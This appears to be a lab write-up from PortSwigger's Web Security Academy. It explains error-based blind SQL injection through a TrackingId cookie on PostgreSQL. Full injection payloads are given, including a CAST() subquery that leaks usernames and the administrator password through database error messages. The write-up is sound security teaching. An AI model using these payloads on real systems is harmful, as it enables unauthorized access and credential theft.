Blind SQL Injection — Error-Based Extraction via CAST()

Field	Value
Platform	PortSwigger Web Security Academy
Vulnerability	Blind SQL Injection — Visible Error-Based via CAST()
Difficulty	Practitioner
Injection Point	TrackingId cookie
Goal	Leak the administrator password through database error messages

---

Phase 1 — Reconnaissance

This lab is blind — query results are never displayed in the response body. However, the database does reflect error messages in the HTTP response. This opens a third exfiltration channel beyond boolean behavioral differences and time delays: we can force the database to include sensitive data inside an error message.

Column Count and UNION Confirmation

Probing the number of columns with ORDER BY:

TrackingId=' order by 2 -- -;

ERROR: ORDER BY position 2 is not in select list

TrackingId=' order by 1 -- -;

→ 200 OK — the query returns 1 column.

Confirming UNION injection and string type compatibility:

TrackingId=' union select NULL -- -;
TrackingId=' union select 'teto' -- -;

Both returned 200 OK — UNION works and the column accepts strings. However, 'teto' was not visible anywhere in the response body. This is what makes it blind: even though the injection is confirmed and UNION works, the results are never reflected.

DB Fingerprinting via Double-Quote Error

TrackingId=' union select "teto" -- -;

ERROR: column "teto" does not exist

PostgreSQL uses double quotes for identifiers (column and table names) and single quotes for string literals. The error column "teto" does not exist is PostgreSQL-specific — this confirms the backend is PostgreSQL.

---

Phase 2 — Why Boolean Conditions Don't Help Here

Testing boolean conditions to check for behavioral differences:

TrackingId=' or 1=1  -- -;     → 200 OK
TrackingId=' or 2=1  -- -;     → 200 OK
TrackingId=' or 'b'='a' -- -;  → 200 OK
TrackingId=' or 'b'='b' -- -;  → 200 OK

Both true and false conditions return the same HTTP 200. The application is not changing its behavior based on query results — boolean-based blind injection is not viable here. Boolean-based blind SQLi only works when the application produces a detectable behavioral difference between true and false conditions. If the response is identical either way, a different exfiltration channel is needed.

---

Phase 3 — The CAST() Technique: Forcing Errors to Leak Data

Since error messages are reflected in the response body, they can be used as a data exfiltration channel. CAST(value AS type) tells the database to convert a value to a specific data type. If the value cannot be converted — for example, trying to cast the string "administrator" as an INT — PostgreSQL throws an error that includes the original value in the message:

ERROR: invalid input syntax for type integer: "administrator"

The data we want to extract ends up printed inside the error message itself.

Full flow:

Database evaluates:   SELECT password FROM users LIMIT 1
                      → returns: "iuzilogunxe9x5x6yhby"

Database tries:       CAST("iuzilogunxe9x5x6yhby" AS INT)
                      → fails — cannot convert string to integer

Database reports:     ERROR: invalid input syntax for type integer: "iuzilogunxe9x5x6yhby"

Application reflects: the error message in the HTTP response body

Attacker reads:       the password from the error message

---

Phase 4 — Extraction

Step 1 — Confirm the Technique Works

TrackingId=' or 1=cast((select 1) as INT) -- -;

→ 200 OK — the subquery returns 1, casting to INT succeeds, 1=1 is true, no error. The technique is confirmed operational.

Step 2 — Target the users Table

TrackingId=' or 1=cast((select username from users) as INT) -- -;

ERROR: more than one row returned by a subquery used as an expression

The subquery returned multiple rows. The CAST() comparison requires a scalar — a single value. Adding LIMIT 1 forces exactly one row to be returned.

Step 3 — Leak the First Username

TrackingId=' or 1=cast((select username from users limit 1) as INT) -- -;

ERROR: invalid input syntax for type integer: "administrator"

The first user in the table is administrator. The CAST failed and leaked the value in the error message.

Step 4 — Leak the Administrator Password

TrackingId=' or 1=cast((select password from users limit 1) as INT) -- -;

ERROR: invalid input syntax for type integer: "iuzilogunxe9x5x6yhby"

The administrator's password was leaked directly in the error message: iuzilogunxe9x5x6yhby.

---

Conclusion

1. ORDER BY confirmed the query returns 1 column; UNION injection worked but results were not reflected — confirming blind injection.
2. Double-quote error column "teto" does not exist fingerprinted the backend as PostgreSQL.
3. Boolean conditions produced identical responses for true and false — boolean-based blind was ruled out.
4. CAST((<subquery>) AS INT) was used to force a type conversion error. PostgreSQL's error messages include the value that failed to convert, turning a type mismatch into a data exfiltration channel.
5. LIMIT 1 was required to force a scalar result; the username payload leaked administrator and the password payload leaked iuzilogunxe9x5x6yhby.

---

Key Concepts

The three blind SQLi channels:

Channel	Signal	Requirement
Boolean-based	App behavior changes (message, redirect, content)	App must respond differently to true vs. false
Error-based (visible)	Error message in response body	App must reflect DB errors in HTTP response
Time-based	Response delay	SLEEP() / WAITFOR DELAY supported

Why CAST() works as an exfiltration primitive — the database evaluates the subquery first, gets the target value, then attempts the type conversion. When conversion fails, PostgreSQL prints the offending value verbatim in the error. The error propagates through the application to the HTTP response body. The attacker reads the data from the error — no reflection, no UNION needed.

LIMIT 1 is mandatory — the = comparison operator requires a scalar. If the subquery returns multiple rows, the error is more than one row returned by a subquery — which contains no useful data. LIMIT 1 forces a single row and produces the data-leaking error instead.

This only works on PostgreSQL when errors are reflected — CAST() error messages in other databases may not include the offending value, or the application may suppress error details. The specific combination of PostgreSQL's verbose error formatting plus an application that reflects DB errors makes this technique possible.